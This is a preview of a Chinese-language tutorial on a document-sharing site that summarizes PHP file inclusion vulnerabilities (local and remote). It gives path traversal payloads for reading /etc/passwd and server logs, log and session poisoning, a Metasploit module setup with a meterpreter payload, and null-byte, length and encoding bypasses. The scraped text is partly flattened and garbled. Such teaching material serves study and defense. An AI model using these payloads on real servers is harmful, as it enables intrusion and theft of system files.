电子文档交易市场
安卓APP | ios版本
电子文档交易市场
安卓APP | ios版本

PHP文件包含漏洞的形式总结

23页
  • 卖家[上传人]:m****
  • 文档编号:79786761
  • 上传时间:2019-02-18
  • 文档格式:DOCX
  • 文档大小:980.21KB
  • / 23 举报 版权申诉 马上下载
  • 文本预览
  • 下载提示
  • 常见问题
    • 1、PHP文件包含漏洞的形式总结原理文件包含漏洞的产生原因是在通过 PHP 的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。php 中引发文件包含漏洞的通常是以下四个函数:1、include() 当使用该函数包含文件时,只有代码执行到 include() 函数时才将文件包含进来,发生错误时只给出一个警告,继续向下执行。2、include_once() 功能和 include() 相同,区别在于当重复调用同一文件时,程序只调用一次。3、require() 只要程序一执行就会立即调用文件,发生错误的时候会输出错误信息,并且终止脚本的运行4、require_once() 它的功能与 require() 相同,区别在于当重复调用同一文件时,程序只调用一次。当使用这四个函数包含一个新文件时,该文件将作为 PHP 代码执行,php 内核并不在意该被包含的文件是什么类型。所以如果被包含的是 txt 文件、图片文件、远程 url、也都将作为 PHP 代码执行。这一特性,在实施攻击时非常有用。利用条件(1) include 等函数通

      2、过动态执行变量的方式引入需要包含的文件;(2)用户能控制该动态变量。分类文件包含漏洞可以分为 RFI (远程文件包含)和 LFI(本地文件包含漏洞)两种。而区分他们最简单的方法就是 php.ini 中是否开启了allow_url_include。如果开启 了我们就有可能包含远程文件。1、本地文件包含 LFI(Local File Include)2、远程文件包含 RFI(Remote File Include)(需要 php.ini 中 allow_url_include=on、allow_url_fopen = On)在 php.ini 中,allow_url_fopen 默认一直是 On,而 allow_url_include 从 php5.2 之后就默认为 Off。一、本地包含包含同目录下的文件1?file=test.txt目录遍历:1?file=./././test.txt./ 当前目录 ./ 上一级目录,这样的遍历目录来读取文件包含图片木马命令行下执行:1copy x.jpg /b + s.php /b f.jpg上传 f.jpg、找到 f.jpg 路径、包含 f.jpg包含

      3、日志利用条件:需要知道服务器日志的存储路径,且日志文件可读。很多时候,web 服务器会将请求写入到日志文件中,比如说 apache。在用户发起请求时,会将请求写入 access.log,当发生错误时将错误写入 error.log。默认情况下,日志保存路径在 /var/log/apache2/。1?file=./././././././././var/log/apache/error.log1、提交如下请求,将 payload 插入日志2、可以尝试利用 UA 插入 payload 到日志文件3、MSF 攻击模块12345678use exploit/unix/webapp/php_includeset rhost 192.168.159.128set rport 80set phpuri /index.php?file=xxLFIxxset path http:/172.18.176.147/set payload php/meterpreter/bind_tcpset srvport 8888exploit -z日志默认路径apache+Linux 日志默认路径1/etc/httpd/

      4、logs/access_log或者1/var/log/httpd/access logapache+win2003 日志默认路径12D:/xampp/apache/logs/access.logD:/xampp/apache/logs/error.logIIS6.0+win2003 默认日志文件1C:/WINDOWS/system32/LogfilesIIS7.0+win2003 默认日志文件1%SystemDrive%/inetpub/logs/LogFilesnginx 日志文件在用户安装目录的 logs 目录下如安装目录为 /usr/local/nginx,则日志目录就是在1/usr/local/nginx/logs也可通过其配置文件 Nginx.conf,获取到日志的存在路径1/opt/nginx/logs/access.logweb 中间件默认配置apache+linux 默认配置文件1/etc/httpd/conf/httpd.conf或者1index.php?page=/etc/init.d/httpdIIS6.0+win2003 配置文件1C:/Windows/syst

      5、em32/inetsrv/metabase.xmlIIS7.0+WIN 配置文件1C:/Windows/System32/inetsrv/config/application/Host.config包含 session利用条件:session 文件路径已知,且其中内容部分可控。PHP 默认生成的 Session 文件往往存放在 /tmp 目录下1/tmp/sess_SESSIONID1?file=././././././tmp/sess_tnrdo9ub2tsdurntv0pdir1no7session 文件一般在 /tmp 目录下,格式为 sess_your phpsessid value,有时候也有可能在 /var/lib/php5 之类的,在此之前建议先读取配置文件。在某些特定的情况下如果你能够控制 session 的值,也许你能够获得一个 shell包含 /proc/self/environ 文件利用条件:1、php 以 cgi 方式运行,这样 environ 才会保持 UA 头。2、environ 文件存储位置已知,且 environ 文件可读。姿势:proc/self/en

      6、viron 中会保存 user-agent 头。如果在 user-agent 中插入 php 代码,则 php 代码会被写入到 environ 中。之后再包含它,即可。1?file=./././././././proc/self/environ选择 User-Agent 写代码如下:1然后提交请求。包含临时文件php 中上传文件,会创建临时文件。在 linux 下使用 /tmp 目录,而在 windows 下使用 c:winsdowstemp 目录。在临时文件被删除之前,利用竞争即可包含该临时文件。由于包含需要知道包含的文件名。一种方法是进行暴力猜解,linux 下使用的随机函数有缺陷,而 window 下只有 65535 中不同的文件名,所以这个方法是可行的。另一种方法 phpinfo 来获取临时文件的路径以及名称,然后临时文件在极短时间被删除的时候,需要竞争时间包含临时文件拿到 webshell。有防御的本地文件包含审计中可见这样的包含模版文件:1234 http:/这段代码指定了前缀和后缀:这样就很“难”直接去包含前面提到的种种文件。1、%00 截断能利用 00 截断的场景现在应

      7、该很少了PHP 内核是由 C 语言实现的,因此使用了 C 语言中的一些字符串处理函数。在连接字符串时,0 字节 (x00) 将作为字符串的结束符。所以在这个地方,攻击者只要在最后加入一个 0 字节,就能截断 file 变量之后的字符串。1?file=./././././././././etc/passwd%00需要 magic_quotes_gpc=off,PHP 小于 5.3.4 有效2、%00 截断目录遍历:1?file=./././././././././var/www/%00需要 magic_quotes_gpc=off,unix 文件系统,比如 FreeBSD,OpenBSD,NetBSD,Solaris3、路径长度截断:1?file=./././././././././etc/passwd/././././././././././././.php 版本小于 5.2.8 可以成功,linux 需要文件名长于 4096,windows 需要长于 256利用操作系统对目录最大长度的限制,可以不需要 0 字节而达到截断的目的。我们知道目录字符串,在 window 下 256 字节、

      8、linux 下 4096 字节时会达到最大值,最大值长度之后的字符将被丢弃。而利用 ./ 的方式即可构造出超长目录字符串:4、点号截断:1?file=./././././././././boot.ini/php 版本小于 5.2.8 可以成功,只适用 windows,点号需要长于 2565、编码绕过服务器端常常会对于 ./ 等做一些过滤,可以用一些编码来进行绕过。下面这些总结来自白帽子讲 Web 安全。利用 url 编码:1./ - %2e%2e%2f - .%2f - %2e%2e/1. - %2e%2e%5c - .%5c - %2e%2e二次编码:1./ - %252e%252e%252f1. - %252e%252e%255c二、远程文件包含1?file=http|https|ftp:/ http:/攻击者可以构造类似如下的攻击 URL123path=http:/localhost/test/solution.php? = path=http:/localhost/test/solution.php%23产生的原理:1/?path=http:/localhost/test/solution.php?最终目标应用程序代码实际上执行了:12require_oncehttp:/localhost/test/solution.php?/action/m_share.php;注意,这里很巧妙,问号 ? 后面的代码被解释成 URL 的 querystring,这也是一种截断思想,和 %00 一样攻击者可以在 http

      《PHP文件包含漏洞的形式总结》由会员m****分享,可在线阅读,更多相关《PHP文件包含漏洞的形式总结》请在金锄头文库上搜索。

      点击阅读更多内容
    最新标签
    信息化课堂中的合作学习结业作业七年级语文 发车时刻表 长途客运 入党志愿书填写模板精品 庆祝建党101周年多体裁诗歌朗诵素材汇编10篇唯一微庆祝 智能家居系统本科论文 心得感悟 雁楠中学 20230513224122 2022 公安主题党日 部编版四年级第三单元综合性学习课件 机关事务中心2022年全面依法治区工作总结及来年工作安排 入党积极分子自我推荐 世界水日ppt 关于构建更高水平的全民健身公共服务体系的意见 空气单元分析 哈里德课件 2022年乡村振兴驻村工作计划 空气教材分析 五年级下册科学教材分析 退役军人事务局季度工作总结 集装箱房合同 2021年财务报表 2022年继续教育公需课 2022年公需课 2022年日历每月一张 名词性从句在写作中的应用 局域网技术与局域网组建 施工网格 薪资体系 运维实施方案 硫酸安全技术 柔韧训练 既有居住建筑节能改造技术规程 建筑工地疫情防控 大型工程技术风险 磷酸二氢钾 2022年小学三年级语文下册教学总结例文 少儿美术-小花 2022年环保倡议书模板六篇 2022年监理辞职报告精选 2022年畅想未来记叙文精品 企业信息化建设与管理课程实验指导书范本 草房子读后感-第1篇 小数乘整数教学PPT课件人教版五年级数学上册 2022年教师个人工作计划范本-工作计划 国学小名士经典诵读电视大赛观后感诵读经典传承美德 医疗质量管理制度 2 2022年小学体育教师学期工作总结
    关于金锄头网 - 版权申诉 - 免责声明 - 诚邀英才 - 联系我们
    手机版 | 川公网安备 51140202000112号 | 经营许可证(蜀ICP备13022795号)
    ©2008-2016 by Sichuan Goldhoe Inc. All Rights Reserved.